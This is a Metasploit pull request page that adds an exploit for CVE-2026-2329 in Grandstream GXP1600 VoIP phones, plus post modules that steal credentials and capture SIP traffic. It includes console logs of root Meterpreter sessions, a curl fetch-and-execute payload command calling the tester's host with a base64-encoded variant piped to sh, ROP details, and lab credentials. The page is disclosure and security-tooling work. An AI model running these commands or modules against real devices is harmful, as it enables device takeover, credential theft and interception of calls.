Skip to content

Add exploit (CVE-2026-2329) and auxiliary modules for the Grandstream GXP1600 series#20983

Merged
bwatters-r7 merged 7 commits intorapid7:masterfrom
sfewer-r7:0day-grandstream
Feb 24, 2026
Merged

Add exploit (CVE-2026-2329) and auxiliary modules for the Grandstream GXP1600 series#20983
bwatters-r7 merged 7 commits intorapid7:masterfrom
sfewer-r7:0day-grandstream

Conversation

@sfewer-r7
Copy link
Contributor

Overview

This pull request adds three new modules, all targeting the Grandstream GXP1600 series of VoIP devices. This is the accompanying work to our disclosure for CVE-2026-2329. The three modules are:

  • exploit/linux/http/grandstream_gxp1600_unauth_rce - Exploits the stack-based buffer overflow CVE-2026-2329, for unauthenticated RCE on a target device.
  • post/linux/gather/grandstream_gxp1600_creds - Post module to gather credentials from a target device.
  • post/linux/capture/grandstream_gxp1600_sip - Post module to reconfigure a target device to use a SIP proxy in order to capture SIP traffic.

You can read our disclosure for a technical analysis of CVE-2026-2329.

Example (exploit/linux/http/grandstream_gxp1600_unauth_rce)

This example shows the exploit module getting a root Meterpreter session on a target GXP1630 device.

msf exploit(linux/http/grandstream_gxp1600_unauth_rce) > check
[*] 192.168.86.77:80 - The target appears to be vulnerable. GrandStream GXP1630 version 1.0.7.78
msf exploit(linux/http/grandstream_gxp1600_unauth_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GrandStream GXP1630 version 1.0.7.78
[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.77:59112) at 2026-02-16 12:21:07 +0000
[!] This exploit may require manual cleanup of '/tmp/core.gz' on the target
[!] This exploit may require manual cleanup of '/core' on the target

meterpreter > getuid 
Server username: root

Example (post/linux/gather/grandstream_gxp1600_creds)

This example shows the post module, leveraging the session we established via the exploit module, to gather all available HTTP, SIP, and TR-069 credentials from the device.

NOTE: All credential information below has been redacted via * characters.

msf post(linux/gather/grandstream_gxp1600_creds) > run
[*] Module running against phone model GXP1630
[+] Gathered HTTP account admin:********
[+] Gathered HTTP account user:123
[+] Gathered SIP account <sip:**********@***************:8060;transport=udp> with a password of ********
[+] Gathered SIP account <sip:************@*********************:5060;transport=udp> with a password of **********
[*] Post module execution completed

Example (post/linux/capture/grandstream_gxp1600_sip)

This example shows the post module, leveraging the session we established via the exploit module, to reconfigure the device to use a SIP proxy (running on a separate host) to capture SIP traffic.

NOTE: A suitable SIP proxy is not part of MSF (although it can be at a future date), and the MSF user can bring whatever SIP proxy they want. For research and testing, a suitable SIP proxy (written in Ruby so we can bring it into MSF if we want) is available here.

NOTE: Only SIP UDP transports are supported. Future work would can add TCP and TCP/TLS transport support.

msf post(linux/capture/grandstream_gxp1600_sip) > set SIP_PROXY_HOST 192.168.86.35
SIP_PROXY_HOST => 192.168.86.35
msf post(linux/capture/grandstream_gxp1600_sip) > list
[*] Module running against phone model GXP1630
SIP Accounts
============

 Account Index  Account Enabled  Account Name  Display Name  User ID       Registrar Server            Registrar Server Transport  Outbound Proxy  Can Capture?
 -------------  ---------------  ------------  ------------  -------       ----------------            --------------------------  --------------  ------------
 0              Yes              ********                    **********    ***************:8060        udp                                         Yes
 1              No               *********                   ************  *********************:5060  udp                                         Yes
 2              No                                                                                     udp                                         No

[*] Post module execution completed
msf post(linux/capture/grandstream_gxp1600_sip) > set SIP_ACCOUNT_INDEX 0
SIP_ACCOUNT_INDEX => 0
msf post(linux/capture/grandstream_gxp1600_sip) > start
[*] Module running against phone model GXP1630
[*] Post module execution completed
msf post(linux/capture/grandstream_gxp1600_sip) > list
[*] Module running against phone model GXP1630
SIP Accounts
============

 Account Index  Account Enabled  Account Name  Display Name  User ID       Registrar Server            Registrar Server Transport  Outbound Proxy      Can Capture?
 -------------  ---------------  ------------  ------------  -------       ----------------            --------------------------  --------------      ------------
 0              Yes              ********                    **********    ***************:8060        udp                         192.168.86.35:5060  Yes
 1              No               *********                   ************  *********************:5060  udp                                             Yes
 2              No                                                                                     udp                                             No

[*] Post module execution completed
msf post(linux/capture/grandstream_gxp1600_sip) > stop
[*] Module running against phone model GXP1630
[*] Reading SIP account backup configuration: /tmp/10a334a378afafffb9d874b6907836d784df4cba
[*] Decrypting SIP account backup configuration.
[*] Reverting SIP account backup configuration
[*] Deleting SIP account backup configuration: /tmp/10a334a378afafffb9d874b6907836d784df4cba
[*] Post module execution completed
msf post(linux/capture/grandstream_gxp1600_sip) >

elsif item == :rand4
item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first
elsif item == :rand4highnull
item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first & 0x00FFFFFF
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why zero the two high bytes?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I assume this is because this is LE and we need to have a null terminator at the end?
@sfewer-r7?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ya this was to null terminate it (force a colon to be placed in the last byte of the rop chain). that gadget is missing on older firmware versions, the more recent ones have the gadget available and will have a null byte explicitly in the VA used

info,
'Name' => 'GrandStream GXP1600 proxy SIP traffic',
'Description' => %q{
This capture module works against Grandstream GXP1600 series VoIP devices and can reconfigure hte device to use an
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
This capture module works against Grandstream GXP1600 series VoIP devices and can reconfigure hte device to use an
This capture module works against Grandstream GXP1600 series VoIP devices and can reconfigure the device to use an

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

resolved in 6d8f43a

'Stability' => [
# The phone service will not crash as we are only reconfiguring the phone.
CRASH_SAFE,
# If we don't revert the config changes after we proxy a SIP account, that SIP account cant operate if
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
# If we don't revert the config changes after we proxy a SIP account, that SIP account cant operate if
# If we don't revert the config changes after we proxy a SIP account, that SIP account can't operate if

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

resolved in 6d8f43a

@dledda-r7 dledda-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Feb 23, 2026
@bwatters-r7 bwatters-r7 moved this from Todo to Ready in Metasploit Kanban Feb 23, 2026
@bwatters-r7
Copy link
Contributor

Unclear why the check call worked standalone, but then failed during the first exploit attempt?

msf exploit(linux/http/grandstream_gxp1600_unauth_rce) > show options

Module options (exploit/linux/http/grandstream_gxp1600_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, h
                                         ttp, socks5h, sapni, socks4
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
                                         asploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to web admin
   VHOST                       no        HTTP server virtual host


Payload options (cmd/linux/http/armle/meterpreter_reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    true             yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Lin
                                              ux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Acce
                                              pted: none, python3.8+, shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST                            yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      TrqUZbwGbTzC     no        Name to use on remote system when storing payload; cannot contain spaces or slash
                                                  es
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf exploit(linux/http/grandstream_gxp1600_unauth_rce) > set rhost 10.5.132.196
rhost => 10.5.132.196
msf exploit(linux/http/grandstream_gxp1600_unauth_rce) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf exploit(linux/http/grandstream_gxp1600_unauth_rce) > set verbose true
verbose => true
msf exploit(linux/http/grandstream_gxp1600_unauth_rce) > check
[*] 10.5.132.196:80 - The target appears to be vulnerable. GrandStream GXP1630 version 1.0.7.64
msf exploit(linux/http/grandstream_gxp1600_unauth_rce) > run
[*] Command to run on remote host: curl -so /tmp/IPDWKorM http://10.5.135.201:8080/OcFXJxS3XJGwQI9E1fvCLA;chmod +x /tmp/IPDWKorM;/tmp/IPDWKorM&sleep 5;rm -rf /tmp/IPDWKorM
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /OcFXJxS3XJGwQI9E1fvCLA
[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. Failed to get the version or model info "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf exploit(linux/http/grandstream_gxp1600_unauth_rce) > run
[*] Command to run on remote host: curl -so /tmp/qXjuZLFiqfo http://10.5.135.201:8080/OcFXJxS3XJGwQI9E1fvCLA;chmod +x /tmp/qXjuZLFiqfo;/tmp/qXjuZLFiqfo&sleep 7;rm -rf /tmp/qXjuZLFiqfo
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /OcFXJxS3XJGwQI9E1fvCLA
[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GrandStream GXP1630 version 1.0.7.64
[*] ROP Table: {:address_system_plt=>46788, :address_data_section=>138796, :gadget2_add_str_add_str_pop=>60728, :gadget1_blx_pop=>49244, :gadget3_call_exit=>64488}
[*] Encoded ARCH_CMD Payload: echo Y3VybCAtc28gL3RtcC9xWGp1WkxGaXFmbyBodHRwOi8vMTAuNS4xMzUuMjAxOjgwODAvT2NGWEp4UzNYSkd3UUk5RTFmdkNMQTtjaG1vZCAreCAvdG1wL3FYanVaTEZpcWZvOy90bXAvcVhqdVpMRmlxZm8mc2xlZXAgNztybSAtcmYgL3RtcC9xWGp1WkxGaXFmbw==|((command -v base64>/dev/null&&(base64 --decode||base64 -d))||(command -v openssl>/dev/null&&openssl enc -base64 -d))|sh
[*] Client 10.5.132.196 requested /OcFXJxS3XJGwQI9E1fvCLA
[*] Sending payload to 10.5.132.196 (curl/7.58.0)
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.132.196:45836) at 2026-02-23 15:15:43 -0600

[!] This exploit may require manual cleanup of '/tmp/core.gz' on the target
[!] This exploit may require manual cleanup of '/core' on the target

meterpreter > 
meterpreter > sysinfo
Computer     : gxp1630_ec74d7a0cd3a
OS           :  (Linux 3.4.20-rt31-dvf-v1.3.1.2-rc1)
Architecture : armv5tejl
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter > getuid
Server username: root
meterpreter > 

@bwatters-r7
Copy link
Contributor

msf post(linux/capture/grandstream_gxp1600_sip) > show options

Module options (post/linux/capture/grandstream_gxp1600_sip):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   SESSION             1                yes       The session to run this module on
   SIP_PROXY_HOST      10.5.132.121     yes       The remote SIP proxy host address
   SIP_PROXY_UDP_PORT  5060             yes       The remote SIP proxy UDP port


   When ACTION is one of start,stop:

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   SIP_ACCOUNT_INDEX  0                no        The zero-based SIP Account index to operate on.


Post action:

   Name  Description
   ----  -----------
   list  List all SIP accounts.



View the full module info with the info, or info -d command.

msf post(linux/capture/grandstream_gxp1600_sip) > list
[*] Module running against phone model GXP1630
SIP Accounts
============

 Account Inde  Account Enabl  Account Name  Display Name  User ID  Registrar Server  Registrar Server  Outbound Proxy  Can Capture?
 x             ed                                                                     Transport
 ------------  -------------  ------------  ------------  -------  ----------------  ----------------  --------------  ------------
 0             Yes            Test                                 10.5.132.121      udp                               Yes
 1             Yes                                                                   udp                               No
 2             Yes                                                                   udp                               No

[*] Post module execution completed
msf post(linux/capture/grandstream_gxp1600_sip) > start
[*] Module running against phone model GXP1630
[*] Post module execution completed
msf post(linux/capture/grandstream_gxp1600_sip) > stop
[*] Module running against phone model GXP1630
[*] Reading SIP account backup configuration: /tmp/990f0786ee5dea2f120f1264985b414eb6738f38
[*] Decrypting SIP account backup configuration.
[*] Reverting SIP account backup configuration
[*] Deleting SIP account backup configuration: /tmp/990f0786ee5dea2f120f1264985b414eb6738f38
[*] Post module execution completed

@bwatters-r7
Copy link
Contributor

msf post(linux/gather/grandstream_gxp1600_creds) > show options

Module options (post/linux/gather/grandstream_gxp1600_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.

msf post(linux/gather/grandstream_gxp1600_creds) > set session 1
session => 1
msf post(linux/gather/grandstream_gxp1600_creds) > set verbose true
verbose => true
msf post(linux/gather/grandstream_gxp1600_creds) > run
[*] Module running against phone model GXP1630
[+] Gathered HTTP account admin:v3Mpassword
[+] Gathered HTTP account user:123
[+] Gathered SIP account <sip:msfuser@10.5.132.121:5060;transport=udp> with a password of msfpassword
[*] Post module execution completed

@bwatters-r7 bwatters-r7 moved this from Ready to Waiting on Contributor in Metasploit Kanban Feb 23, 2026
@github-project-automation github-project-automation bot moved this from Waiting on Contributor to In Progress in Metasploit Kanban Feb 24, 2026
@bwatters-r7 bwatters-r7 merged commit 1ddee63 into rapid7:master Feb 24, 2026
18 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Feb 24, 2026
@bwatters-r7
Copy link
Contributor

Release Notes

Adds three new modules: one exploit and two post modules, all targeting the Grandstream GXP1600 series of VoIP devices. The exploit module uses CVE-2026-2329 to gain a root session, and the post modules leverage that access to perform credential stealing and packet capture.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

5 participants